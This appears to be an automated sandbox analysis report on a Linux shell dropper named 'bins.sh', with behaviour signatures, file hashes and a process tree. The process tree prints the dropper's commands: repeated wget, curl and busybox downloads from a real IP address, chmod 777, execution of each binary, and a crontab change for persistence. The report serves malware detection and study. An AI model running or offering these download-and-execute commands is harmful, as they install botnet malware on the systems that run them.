Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

8

bins.sh

debian-9-mipsel

9

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240418-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    14/11/2024, 22:27

Sharing

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241114-2c27mathrp
  • SHA256 2d0b0b07c7328455938bfeacbc5e8b8ed2beeccaadfa44688f2250519031cf76
  • MD5 SHA1 SHA512 SSDEEP
Score
9/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Contacts a large (1802) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 17 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:691
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:693
        • /usr/bin/wget
          wget http://216.126.231.240/bins/IMQfFdyZgK5RVa7YgDa22xNmJ84GaSuMrK
          2⤵
          • Writes file to tmp directory
          PID:698
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/IMQfFdyZgK5RVa7YgDa22xNmJ84GaSuMrK
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:719
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/IMQfFdyZgK5RVa7YgDa22xNmJ84GaSuMrK
          2⤵
          • Writes file to tmp directory
          PID:721
        • /bin/chmod
          chmod 777 IMQfFdyZgK5RVa7YgDa22xNmJ84GaSuMrK
          2⤵
          • File and Directory Permissions Modification
          PID:722
        • /tmp/IMQfFdyZgK5RVa7YgDa22xNmJ84GaSuMrK
          ./IMQfFdyZgK5RVa7YgDa22xNmJ84GaSuMrK
          2⤵
          • Executes dropped EXE
          PID:723
        • /bin/rm
          rm IMQfFdyZgK5RVa7YgDa22xNmJ84GaSuMrK
          2⤵
            PID:725
          • /usr/bin/wget
            wget http://216.126.231.240/bins/VFp2lo5fKNiKRbAeh3SiZYPBn5Nl3inXaC
            2⤵
            • Writes file to tmp directory
            PID:726
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/VFp2lo5fKNiKRbAeh3SiZYPBn5Nl3inXaC
            2⤵
            • Writes file to tmp directory
            PID:727
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/VFp2lo5fKNiKRbAeh3SiZYPBn5Nl3inXaC
            2⤵
            • Writes file to tmp directory
            PID:728
          • /bin/chmod
            chmod 777 VFp2lo5fKNiKRbAeh3SiZYPBn5Nl3inXaC
            2⤵
            • File and Directory Permissions Modification
            PID:733
          • /tmp/VFp2lo5fKNiKRbAeh3SiZYPBn5Nl3inXaC
            ./VFp2lo5fKNiKRbAeh3SiZYPBn5Nl3inXaC
            2⤵
            • Executes dropped EXE
            PID:734
          • /bin/rm
            rm VFp2lo5fKNiKRbAeh3SiZYPBn5Nl3inXaC
            2⤵
              PID:737
            • /usr/bin/wget
              wget http://216.126.231.240/bins/n9olLQ135rBuzaIFwRXTHOdkiDjvFlpT4D
              2⤵
              • Writes file to tmp directory
              PID:739
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/n9olLQ135rBuzaIFwRXTHOdkiDjvFlpT4D
              2⤵
              • Writes file to tmp directory
              PID:746
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/n9olLQ135rBuzaIFwRXTHOdkiDjvFlpT4D
              2⤵
              • Writes file to tmp directory
              PID:757
            • /bin/chmod
              chmod 777 n9olLQ135rBuzaIFwRXTHOdkiDjvFlpT4D
              2⤵
              • File and Directory Permissions Modification
              PID:762
            • /tmp/n9olLQ135rBuzaIFwRXTHOdkiDjvFlpT4D
              ./n9olLQ135rBuzaIFwRXTHOdkiDjvFlpT4D
              2⤵
              • Executes dropped EXE
              PID:764
            • /bin/rm
              rm n9olLQ135rBuzaIFwRXTHOdkiDjvFlpT4D
              2⤵
                PID:767
              • /usr/bin/wget
                wget http://216.126.231.240/bins/6T5VAfn2l8D6SpVGcwqYBJWpls5vP7E1W3
                2⤵
                • Writes file to tmp directory
                PID:768
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/6T5VAfn2l8D6SpVGcwqYBJWpls5vP7E1W3
                2⤵
                • Writes file to tmp directory
                PID:781
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/6T5VAfn2l8D6SpVGcwqYBJWpls5vP7E1W3
                2⤵
                • Writes file to tmp directory
                PID:787
              • /bin/chmod
                chmod 777 6T5VAfn2l8D6SpVGcwqYBJWpls5vP7E1W3
                2⤵
                • File and Directory Permissions Modification
                PID:788
              • /tmp/6T5VAfn2l8D6SpVGcwqYBJWpls5vP7E1W3
                ./6T5VAfn2l8D6SpVGcwqYBJWpls5vP7E1W3
                2⤵
                • Executes dropped EXE
                PID:789
              • /bin/rm
                rm 6T5VAfn2l8D6SpVGcwqYBJWpls5vP7E1W3
                2⤵
                  PID:791
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/O2aQg4c3BSeEZOdnzaFa1wrOIrjemx2AKx
                  2⤵
                  • Writes file to tmp directory
                  PID:792
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/O2aQg4c3BSeEZOdnzaFa1wrOIrjemx2AKx
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:793
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/O2aQg4c3BSeEZOdnzaFa1wrOIrjemx2AKx
                  2⤵
                  • Writes file to tmp directory
                  PID:800
                • /bin/chmod
                  chmod 777 O2aQg4c3BSeEZOdnzaFa1wrOIrjemx2AKx
                  2⤵
                  • File and Directory Permissions Modification
                  PID:807
                • /tmp/O2aQg4c3BSeEZOdnzaFa1wrOIrjemx2AKx
                  ./O2aQg4c3BSeEZOdnzaFa1wrOIrjemx2AKx
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:808
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:810
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:811
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:814
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            • Reads runtime system information
                            PID:815
                      • /bin/rm
                        rm O2aQg4c3BSeEZOdnzaFa1wrOIrjemx2AKx
                        2⤵
                          PID:827
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/nGOAVxacD8NuaUunQuUnz6f6SJLWl6QDWY
                          2⤵
                            PID:911
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/nGOAVxacD8NuaUunQuUnz6f6SJLWl6QDWY
                            2⤵
                              PID:915
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/nGOAVxacD8NuaUunQuUnz6f6SJLWl6QDWY
                              2⤵
                              • Writes file to tmp directory
                              PID:922
                            • /bin/chmod
                              chmod 777 nGOAVxacD8NuaUunQuUnz6f6SJLWl6QDWY
                              2⤵
                              • File and Directory Permissions Modification
                              PID:923
                            • /tmp/nGOAVxacD8NuaUunQuUnz6f6SJLWl6QDWY
                              ./nGOAVxacD8NuaUunQuUnz6f6SJLWl6QDWY
                              2⤵
                              • Executes dropped EXE
                              PID:924
                            • /bin/rm
                              rm nGOAVxacD8NuaUunQuUnz6f6SJLWl6QDWY
                              2⤵
                                PID:926
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/RN1u2BMOxrgGAl1IR0h6jdOAmUItYV7Xc1
                                2⤵
                                  PID:927
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/RN1u2BMOxrgGAl1IR0h6jdOAmUItYV7Xc1
                                  2⤵
                                  • Reads runtime system information
                                  PID:928
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/RN1u2BMOxrgGAl1IR0h6jdOAmUItYV7Xc1
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:929
                                • /bin/chmod
                                  chmod 777 RN1u2BMOxrgGAl1IR0h6jdOAmUItYV7Xc1
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:930
                                • /tmp/RN1u2BMOxrgGAl1IR0h6jdOAmUItYV7Xc1
                                  ./RN1u2BMOxrgGAl1IR0h6jdOAmUItYV7Xc1
                                  2⤵
                                  • Executes dropped EXE
                                  PID:931
                                • /bin/rm
                                  rm RN1u2BMOxrgGAl1IR0h6jdOAmUItYV7Xc1
                                  2⤵
                                    PID:936
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/UNx5YXd4IBib4fFMsTsDdV7aMnodE54VFL
                                    2⤵
                                      PID:937

                                  Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

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                                        Downloads

                                        6T5VAfn2l8D6SpVGcwqYBJWpls5vP7E1W3
                                        • Path /tmp/6T5VAfn2l8D6SpVGcwqYBJWpls5vP7E1W3
                                        • Size 177KB
                                        • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                        • MD5 SHA1 SHA512 SSDEEP
                                        Submit Download

                                        IMQfFdyZgK5RVa7YgDa22xNmJ84GaSuMrK
                                        • Path /tmp/IMQfFdyZgK5RVa7YgDa22xNmJ84GaSuMrK
                                        • Size 119KB
                                        • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                        • MD5 SHA1 SHA512 SSDEEP
                                        Submit Download

                                        O2aQg4c3BSeEZOdnzaFa1wrOIrjemx2AKx
                                        • Path /tmp/O2aQg4c3BSeEZOdnzaFa1wrOIrjemx2AKx
                                        • Size 151KB
                                        • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                        • MD5 SHA1 SHA512 SSDEEP
                                        Submit Download

                                        RN1u2BMOxrgGAl1IR0h6jdOAmUItYV7Xc1
                                        • Path /tmp/RN1u2BMOxrgGAl1IR0h6jdOAmUItYV7Xc1
                                        • Size 127KB
                                        • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                        • MD5 SHA1 SHA512 SSDEEP
                                        Submit Download

                                        VFp2lo5fKNiKRbAeh3SiZYPBn5Nl3inXaC
                                        • Path /tmp/VFp2lo5fKNiKRbAeh3SiZYPBn5Nl3inXaC
                                        • Size 111KB
                                        • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                        • MD5 SHA1 SHA512 SSDEEP
                                        Submit Download

                                        n9olLQ135rBuzaIFwRXTHOdkiDjvFlpT4D
                                        • Path /tmp/n9olLQ135rBuzaIFwRXTHOdkiDjvFlpT4D
                                        • Size 111KB
                                        • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                        • MD5 SHA1 SHA512 SSDEEP
                                        Submit Download

                                        nGOAVxacD8NuaUunQuUnz6f6SJLWl6QDWY
                                        • Path /tmp/nGOAVxacD8NuaUunQuUnz6f6SJLWl6QDWY
                                        • Size 98KB
                                        • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                        • MD5 SHA1 SHA512 SSDEEP
                                        Submit Download

                                        tmp.qVVQ9Q
                                        • Path /var/spool/cron/crontabs/tmp.qVVQ9Q
                                        • Size 210B
                                        • SHA256 127cf5920456cc4bab939cb342ef58ec6f47ae96faa66f150887a0649cc26cca
                                        • MD5 SHA1 SHA512
                                        Submit Download